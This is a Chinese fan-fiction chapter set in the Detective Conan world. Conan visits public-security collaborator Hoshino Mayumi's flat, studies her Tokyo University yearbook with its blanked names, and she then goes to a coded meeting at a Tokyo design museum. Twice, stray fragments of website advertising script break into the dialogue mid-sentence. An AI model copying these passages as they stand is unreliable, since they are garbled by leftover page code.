这会儿除了中川大介之外的PMDA职员还在排队登记手续回家,接下来至少一周他们都得待在家里接受公安管控不能去上班。 协助贩/毒已经是重罪一桩,这件事又牵涉甚广,甚至说是叛国也不为过。本来公安是不能这么轻易强留PMDA的职员的,但事情上升到这个高度,警察厅已经通过[零]组和国家公安委员会获得了更高的权限。如果PMDA里还有其他组织同伙,那么他们一个都跑不了。 另一边是星野真弓带着江户川柯南挖了池袋西口公园的土,到警察厅之后还安排人把药瓶送去给灰原哀。中途松田阵平被部下叫走,她便悠哉悠哉地带着小孩参观了警察厅的大堂咖啡吧和没有访客限制的几层。 成功把小侦探绕晕之后,她心情变好了些,心满意足地掏出车钥匙。 江户川柯南一愣:“不继续排查警视厅公安了吗?” 星野真弓找借口时一点都不脸红:“松田警官不在,身为协助人的我可不能随便翻看公安的内部信息,而且他走的时候也把资料一起带走了,意思就是让我们别看了,不用急,以后有的是时间。” 江户川柯南嘴角一抽,心说我怎么没感觉到你对“松田警官”的警衔有那么高深的敬畏心,刚刚开枪的时候不是挺嚣张的吗? 星野真弓一边拉开车门一边兀自眨了眨眼。她没说其实那57个警视厅公安早就被监控起来了,现在芯片在[零]组手里,组织的内鬼再怎么干着急也没用,不如先晾着等他们自己露出破绽。 她系上安全带,随口问副驾驶的江户川柯南:“晚上打算怎么吃饭?” 还在低头想着什么的小侦探一愣:“……诶?啊,要不我回小兰姐姐那吃?” 星野真弓平静地看了他几秒,半晌转回头:“现在这个点再麻烦她准备也来不及了,算了,我请你吃吧。” 江户川柯南抬头看着她启动引擎,怔怔地问:“去哪?” “上次那家拉面店就不错,你觉得呢?” 星野真弓显然是个典型的“完全不会寻觅美食”派,通常有什么就吃什么,想不出去哪吃就去上次去过的,自拉面馆杀人事件之后,她基本每顿都吃的三明治。 江户川柯南只当她不想过多暴露自己的饮食喜好,或者只是想去个他也熟悉的地方。毕竟外人看来对方再怎么说也只是刚认识的陌生大人,于情于理带着没什么实质关系的小孩夜晚在市区乱逛都不太好。 一个半小时后,他们吸溜完拉面,慢悠悠地晃回晚秋的街头。 星野真弓双手插着兜,低头看小侦探。 “接下来去哪?” 江户川柯南一愣:“诶?” 中长黑发的女性缓缓对他眨了下眼:“现在是晚上七点二十,我答应了十点前送你回去,我们还有两小时四十分钟,你有什么想去的地方吗?” 在江户川柯南惊讶的注视下,她掏出一根手指挠了挠脸颊,眼神游移了一秒。 “这几天光跟着我到处跑,辛苦你了,如果有想去的地方我可以免费陪玩哦,当然,仅限十八岁以下也可以进入的场所。” 看惯了她运筹帷幄的样子,这会儿她突然流露出点普通人的钝感,几乎让人有点不习惯了。 名侦探愣了半晌,忽然鬼使神差道:“星野姐姐,我想去你家看小猫!” 星野真弓动作一顿,她静静地回望着江户川柯南。 “你怎么知道我养猫?” 江户川柯南在脑海中迅速过了一遍最近发生的事,愈加笃定道:“我们第一次见面的时候,你说过中午会去附近的小巷喂猫——你喜欢猫,又大概率是独居,而且一点都不缺钱,所以你没有养猫的几率很小,我说得对吗?” 星野真弓凝视他几秒,半晌一笑:“好啊。” 江户川柯南一愣。 ……不是吧,她就这么答应了? 他都做好了被拒绝的准备,已经在想下次试图上门的借口了,结果她没考虑几秒就答应了! 大概是受刚刚那碗拉面的影响,他又回想起了那天在同一家拉面馆萌发的思考:星野真弓真的是这种人吗?愿意大方袒露自己的私人空间的人? 无论如何,这对他来说是件好事。 他扬起小孩子的笑:“谢谢星野姐姐!” …… 星野真弓住的那栋公寓楼在新宿边缘地带。虽然是边缘,但附近还挺繁华,生活基础设施一应俱全。公寓楼前挂着一块牌子,上面镶着MaisonDassai几个银色字母。 江户川柯南跟着她乘电梯上了顶楼,出门的时候才反应过来Dassai其实是一种酒——獭祭清酒,日本清酒中的顶流品牌之一。 但是莫名的,他却不觉得恐惧。 这几天发生的事已经让他对星野真弓的信任度提高了不少,对酒名再敏感,他也不至于看到一个跟酒有关的东西就炸毛。 指纹解锁后,星野真弓按下门厅的灯,弯腰从鞋柜里掏出双拖鞋递给他。 江户川柯南一边低头换鞋,一边迅速扫了一眼室内的布置。 门厅没有第二个人的鞋,确实是独居。 客厅干净整洁,明明面积不小却基本没堆放什么杂物,她很在意房间整洁度吗?还是说......不想留下太多私人痕迹? 半开放的厨房同样一览无余,各种用具全部整整齐齐地摆在原位,这对经常开火的人家来说基本不可能。她不会做饭? 厨房外面的吧台旁装了酒柜……妈呀,好多酒。 就匆匆扫了一眼,他没看清具体是什么酒,只大概能根据酒瓶的样子感觉出度数应该不低。 星野真弓已经径直走进厨房翻找热水壶。 “太晚了,茶里有咖啡因,我给你倒杯柠檬水吧。” 江户川柯南点点头,又反应过来她听不见,赶紧“嗯”了一声。 这时,没开灯的走廊处突然传来一声微弱的猫叫,一个纤瘦的灰色影子慢吞吞地踱步出现。 星野真弓从厨房探出一个头:“差点忘了,柯南君,你帮我喂下猫吧,猫粮在阳台上。” 江户川柯南看着那只灰猫走到自己脚边,忍不住蹲下薅了薅猫头。灰猫似乎一点都不怕生,抖了抖毛就心安理得地在他脚边盘起来躺着了。 他有些不舍地站起来,轻手轻脚地去阳台找到猫饭盆,乘了猫粮回来放到灰猫身边。 灰猫慢条斯理地爬起来吃饭。 “它叫什么名字?” “雷蒙德(Raymond)。”星野真弓端着两杯柠檬水走回客厅,“跟那个推理小说家的名字一样。” 雷蒙德·钱德勒(RaymondChandler),著名推理小说作家,代表作《漫长的告别》。他笔下的侦探菲力普·马罗是传统冷硬派私家侦探的代名词。 江户川柯南一愣:“星野姐姐,你喜欢硬汉派的推理小说吗?” 星野真弓一笑:“还好吧 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,这个名字不是我取的。” 她面不改色地伸手揉了揉雷蒙德的脑袋:“我叫它小雷,这样比较方便。小雷是只很高冷的俄罗斯蓝猫。” “很高冷的俄罗斯蓝猫”忽然扭头挣脱她的手,又跑去江户川柯南脚边蹭,大概是吃饱喝足了,它像刚刚那样在小侦探脚边舒舒服服地窝着躺下,餍足地眯起眼。 “…...哈哈哈,确实很高冷。”江户川柯南干笑。 他坐也不是,站也不是,半晌小心翼翼地保持着脚不动的姿势,把自己挪到了沙发旁边的地板上。 星野真弓忍不住笑道:“你想参观一下我家吗?” 江户川柯南:“可以吗?!” 轻飘飘扫过小侦探兴奋的眼神,星野真弓从容地转身打开走廊的灯:“说是这么说,我家里也没什么特别的东西。” 她的房子是标准的三室两厅,除了餐厅和客厅外,还有一间卧室、一间健身房和一间书房,大概从装修开始就打定了独居的心思。 她没带江户川柯南去卧室,而是径直把他带去了书房。 “柯南君很喜欢推理小说吧?书房里的推理小说还蛮多的。” 江户川柯南若有所思地跟在她身后,一进门就被满满一面墙的落地书架震慑到了。对于普通人家来说,这里的书确实有些过多了,密密麻麻地排列在书架上。 不过名侦探自己家里就有更多数不尽的书,推理小说尤甚,因此这份惊讶也只持续了几秒。 他的视线掠过足有三分之一面墙的推理小说,看向剩下三分之二的书架。那上面的书很杂,从犯罪心理学到村上春树,从东京都地图集到《全球政治经济学:解读国际经济秩序》,从《禅与摩托车维修艺术》到真正的摩托车修理书籍,简直像个小型图书馆,分门别类,应有尽有。 “……星野姐姐,这上面的书你都读过吗?” 星野真弓一边整理书桌,一边漫不经心地回答:“差不多吧,你有想看的书可以直接拿走。” 她不知收起了什么资料,理了理一沓A4纸放进书桌抽屉,又给桌上的电脑插上电源线。 江户川柯南还在端详书架,半晌他在靠近自己身高的那排书架看到了什么,喃喃道:“…...东京大学2016届毕业生纪念册?” 他盯着那本厚厚的手册看了几秒,终于忍不住转头:“星野姐姐,你今年28岁对吧?” 星野真弓挑眉:“没错哦,柯南君,没人教过你不要这么直白地询问女性的年龄吗?” 江户川柯南干笑一声转移话题:“阿哈哈哈,我只是在想28岁的话应该是六年前大学毕业才对,为什么毕业纪念册会是七年前?” 星野真弓顺着他的视线看去,干脆弯腰把毕业纪念册取了出来:“因为我跳极了一年提前毕业,所以算在2016届里了。2017届的纪念册他们也给我寄来了,不过我没有放在这。” 她把那本厚厚的纪念册放在书桌上,又给江户川柯南搬了把矮脚蹬:“想看的话随便看吧,里面其实都是些很无聊的东西。” 江户川柯南兴致勃勃地翻开毕业纪念册,迎面就是好几页2016届毕业生的名单,从法学部开始,到教育学部结束。 星野真弓的正装照被按照字母表顺序排在法学部里面,那张证件照和现在的唯一不同是她留着长发,除此之外,无论是那双灰蓝色的瞳子、还是锋利的眉眼,都和现在如出一辙。 他微微惊讶了一瞬,心说她居然是法学院的学生。 堂堂东大法学部优秀毕业生,毕业后居然在当摩托车修理工?! 34. 第三十四章 ……不,别忘了她还有一个公安协助人的身份。 他心绪一转,终于意识到不对劲。 东京大学可是以孤傲离群的“怪人天才”学生出名的,这种全国最高学府里出来的精英,毕业后真的会甘心老老实实隐藏身份当个摩托车修理工吗? 星野真弓平时的行事作风、说话方式、还有那种不容置疑的气度......她是一个会任凭自己听从别人指令行动的人吗? 他迅速翻完名单,确定2017届毕业生里没有松田阵平和萩原研二的名字,顿时若有所思起来。 星野真弓站在一边看着他变来变去的神情,觉得有些好笑:“柯南君,你在找谁呢?” 江户川柯南一愣,干巴巴道:“啊,因为我看松田警官和萩原哥哥跟你关系很好,还以为你们是大学同学来着,原来不是啊。” 星野真弓耸肩:“很遗憾,他们俩读的是东北大*的工科。化学工程、应用化学、应用物理,或者别的什么,也许什么都有。东北大的工科很出名,松田阵平那家伙毕业的时候好像还是年级第一哦。” 她眯了下眼睛。 年级第一,但是超级偏科。 江户川柯南忍不住咂舌。 ……这个人作为东大毕业生竟然一点架子都没有,一般台词不都应该是“东北大的工科不错,但还是东大最强”吗? 他眨眨眼:“原来松田警官和萩原哥哥不是东京人吗?” 星野真弓:“他们是宫城本地人。很奇怪吗?‘东京’漂在这里可是很常见的。” 江户川柯南老老实实地摇头。 他一时有些感叹,千里迢迢从宫城县考来东京当警察,还被招揽为拆弹人才,一毕业就跳过交番直接进了警视厅,松田阵平和萩原研二还真是厉害啊。 这么厉害的两个人,现在却都没在做需要他们运用专业知识的工作——萩原研二又变回了曾经的修理工,松田阵平被调去了警察厅当公安,曾经的爆处组双子星似乎彻底散伙了。 又或者,只是以另一种形式绑在了一起。 “而且,严格意义上来说,我也不是东京人。”星野真弓继续道。 “诶?星野姐姐你吗?” 星野真弓点头:“17岁之前我都在大阪生活,后来发生了一点事,我就搬来东京了。” ……大阪? 江户川柯南立刻回想起那张全国高中生弓道大赛获奖名单,紧接着又想到了自己的某位关西名侦探朋友。 “但是星野姐姐,你完全没有关西口音诶!” 星野真弓微微一笑:“刚来东京的时候还是有的,后来不得不改掉了,但是我喝醉之后还是容易冒大阪腔哦。” 她顿了顿:“比如这样——nandeyanen(为什么)?” 虽然没有某关西名侦探口音重,但如此亲切的方言还是一下子把名侦探唬住了。 他以前也尝试过模仿关西口音,下场是被服部平次狠狠嘲笑了一顿,因此勉强看得出来星野真弓确实是货真价实的大阪人。 好神奇……已经默认是东京人三年的人突然不是东京人了! 江户川柯南眨眨眼:“为什么要改掉呢?大阪口音也很有特色。” 星野真弓熟练地避重就轻:“毕竟是在东京生活,被周围人影响久了,自然而然就不再用了。当时国文老师和同学都在帮我练习标准日语,所以改得还蛮顺利的。” 江户川柯南点点头,继续低头看起那本毕业生纪念册。 好几页的毕业生名单和证件照之后记录了这一届学生四年来的点点滴滴,大部分照片里都没有星野真弓的脸,大概是因为她是跳级毕业的,平时不跟2016届一起集体活动,直到全体师生大合照才有了她的影子。 他翻到最后几页,终于看到了一些照片以外的东西。 “这是……毕业成绩排名吗?” 星野真弓低头看了眼:“这个啊,没错,按照绩点排的,毕竟是东大嘛。我入学的时候改了绩点算法,所以他们没把我排进去。” 江户川柯南迅速扫了一眼,有些疑惑地抬头看她:“为什么第一名旁边的名字是空白的呢?还有第八名、第二十三名……” 星野真弓对他微微一笑:“也许是印刷错误吧,我也没仔细看过。” 这是谎言。 不过她依旧面不改色:“后面还有些学校大事件介绍之类的,我们这一届毕业之后还给东大捐了一颗银杏树。” 江户川柯南正好翻到了那颗银杏树的照片。 他看了几秒,又翻过一页,迅速扫完四年来东大举行的大小活动,直到发现纪念册最后颇有东大风格地记录着2016届学生在校时进行过的有意思的研究课题简介。 掠过一大堆“母猪产后护理与日本各地饮用水质量的相关性”、“寿司机械手可行性分析与基础设计方案”、“动漫女性角色设计与日本社会经济的关联性”之类乱七八糟的标题,他又在一篇写着“反有组织犯罪的国际刑事立法与追溯研究”的论文标题署名旁找到了一片空白。 他不动声色地停顿了一秒。 ……这是那位年级第一写的吗?还是年级第八?又或者年级第二十三? 他又紧接着找到了几个差不多的空白署名,什么样的研究课题都有,并不局限在一个类别,最终带着满肚子疑问合上了纪念册。 说好来星野真弓家撸猫的,结果猫自己趴在客厅睡着了,他则看了一晚上猫主人的毕业纪念册。 名侦探有些心虚地瞄了一眼星野真弓,后者却一点不耐烦也没表现出来,只低头看了一眼手表。 “快到九点四十了,去毛利侦探事务所要开十分钟,我们走吧?” 江户川柯南点点头,乖乖应了一声。 ...... 夜晚的这个时候,东京的天空已经变成了一片漆黑,零星几颗星星在夜色中闪烁。 和几天前一样挥手目送小侦探跑上楼,星野真弓收回手,沉默地启动引擎,开车回家。 四周一片寂静,只有跑车低沉的轰鸣声在嘶嘶作响。车里没有第二个人的时候,她面对小孩子时的淡淡笑容终于消失了。 一天没有尼古丁浸润的嗓子又开始嘶嘶发痒,她单手拨弄了下喉咙,后知后觉地意识到今天还没吃胃药。 放在副驾驶的手机忽然响了一声,她低头看了一眼,没有立刻查看。 重新打开公寓客厅的灯已经是五分钟后。她收拾了一下书房,轻飘飘地看了一眼那本毕业生纪念册,半晌合上放回书架。 她没有放进原来靠下的位置,而是塞进了更高的某一层书架。 她最后又打量了两眼那堆占据了三分之一面墙的推理小说。 “…...下次买点别的书换掉吧。” 说是这么说,星野真弓却没有立刻动那里的东西。 在外奔波了一整天,独自在家时,她似乎终于流露出了一丝成年人的疲惫感。简单洗漱后,她去厨房给自己倒了一杯酒,这才打开手机查看邮件。 下午松田阵平离开之后就没再有新的工作消息进来了。除了工作需要之外,她实际上并不喜欢回消息,也不喜欢在聊天软件上闲聊,更倾向于直接打电话有事说事。和很多职场社畜一样,她看到新消息提醒就觉得烦。 她单手拎着酒杯,翻出胃药,就着酒吞下,又慢吞吞地回复完几条私人信息,快十一点的时候才终于点开那封最新的加密邮件。 输入密钥的那几秒她在想,我到底在烦躁些什么呢? 邮件是一如既往的简洁风格。 【To:Hilda 21_21DesignSight。 晚安,少喝酒。】 她愣了一瞬,看了眼手里的酒杯,又看了眼邮件,半晌挑眉自言自语:“你管我?” . 上午8点。东京赤坂。 路上星野真弓正巧经过同样位于赤坂的美国驻日领事馆。她老老实实地按照红灯停车等待,透过挡风玻璃,目送几个西装外国人穿过斑马线,走进领事馆院门。 半晌,绿灯亮起,她却像看到了什么熟人,顿了一下才重新踩下油门。 大概是因为经过他国领事馆想到了什么,她挂上 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 蓝牙耳机拨通电话。 “喂?相原?” “是我,早上好,警视。” 相原是个女孩子,背景里隐约传来警备局资料室里文件被翻动的声音。 星野真弓敲敲方向盘:“俄方驻日领事馆最近有传来消息吗?FSB(俄罗斯联邦国家安全局)还是SVR(俄罗斯联邦对外情报局)?” “啊,关于这个,今天早上刚刚收到FSB的协同搜查请求,我刚准备邮件转达你。警视,对方不知道为什么指明找希尔达小姐。” 星野真弓单手扶着方向盘,右拐进一条小道。 “找我?对方的代表是谁?” “前段时间外务省跟对方的驻日外交官闹了点矛盾,反正就,嗯,场面挺难看的,所以他们派了新的外交官和随行人员来。” “外务省啊,意料之内。随行人员里有一个是FSB的吧?” “是的。叫做伊万·安德烈维奇·阿布拉莫维奇,30岁,一周前入境,职衔不明。警视,是你的熟人吗?” 星野真弓扶着方向盘的手一顿,半晌挑眉。 “我知道了,你忙吧,记得把协同搜查的文件转发给我。” 她面色平静地挂断电话,将车停在被树荫遮挡着的路边停车位上,眯着眼打量了一下不远处的那栋建筑。 21_21DesignSight。 这是座坐落于赤坂某公园旁的现代展览馆,由三宅一生、佐藤卓、深泽直人三位著名设计师牵头建立。 展览馆只有两层,地上一层,地下一层,展览馆外层布满了玻璃贴面围墙,驾着复合式曲折的巨型铁板,远远望去像一块镶嵌在绿洲里的银色晶体。 这座颇具现代感的建筑也有个颇具现代感的名字——20_20VisionSight通常被用来代表正常的视力范围,21_21DesignSight则意味着突破正常范围、更有前瞻性的视觉设计。 那封邮件里没有注明时间,但是她和发件人都心知肚明,时间已经被包含在地址里了——21:21,展览馆晚上关门,那么就只有早上9点09分了。 简洁、精准、高效,发件人大概会跟同样一个暗号用两遍的佐佐木大介很有共同话题。 为了融入这座展览馆,她今天穿了一件浅色大衣,化了简单的淡妆。展览馆门口售票处正稀稀拉拉地排着队,今天是工作日,来看展的人不多。 离九点还有些时间,星野真弓慢悠悠地研究了一下售票处发放的小册子,半晌选定了其中一个名字颇为复杂的多媒体艺术展。 她对看展没多大兴趣,单纯觉得多媒体艺术挺吵人,人在里面走动的身影都会变得隐蔽——不光耳朵吵,眼睛也挺吵。 那个多媒体艺术展的名字是一串乱码。星野真弓站在展馆门口端详了一会儿那串乱码,职业病发作自动套了几个解码方法,半晌没得出结论,才终于强迫自己收起乱七八糟的想法,抬手揭开了展馆的幕帘。 我不该这么紧张。她平静地想。 忽然迎面而来一束晃眼的光。 她眯了眯眼,伸手挡了下眼睫,很快适应了过来。 展馆里一片昏暗,顶部装着几台小型投影机,将光打在各个角落里,刚刚使人晃眼的就是其中一台。 她正站在一朵睡莲里。地面上绿色的莲叶微微摇晃着,梦幻般的蓝紫色河水闪着光穿梭流动,不远处巨大的荷叶装置拔地而起,投影仪的荧光自上而下倾斜,好像活生生的花开了起来。 投影仪打出的不同的细碎光点坠落在地面流动,看起来是莫奈的《睡莲》,笔触却和梵高相似。她平静地盯着河里一根流动的彩线,目送它被缓缓送向远方。 展厅里有不少参观者。他们零碎的影子在光亮中交错晃动,不断传来低声交谈的声音。 就在这片昏暗与绚丽的交杂中,她的视线顺着那根彩线,穿过人群,远远望见一双灰蓝色的眼睛。 那双眼睛隐在光后,隐在黑暗里,有绰绰的荧光在流淌。 缓缓眨动了一下眼睛,星野真弓再次回望过去,那抹灰蓝色已经消失了。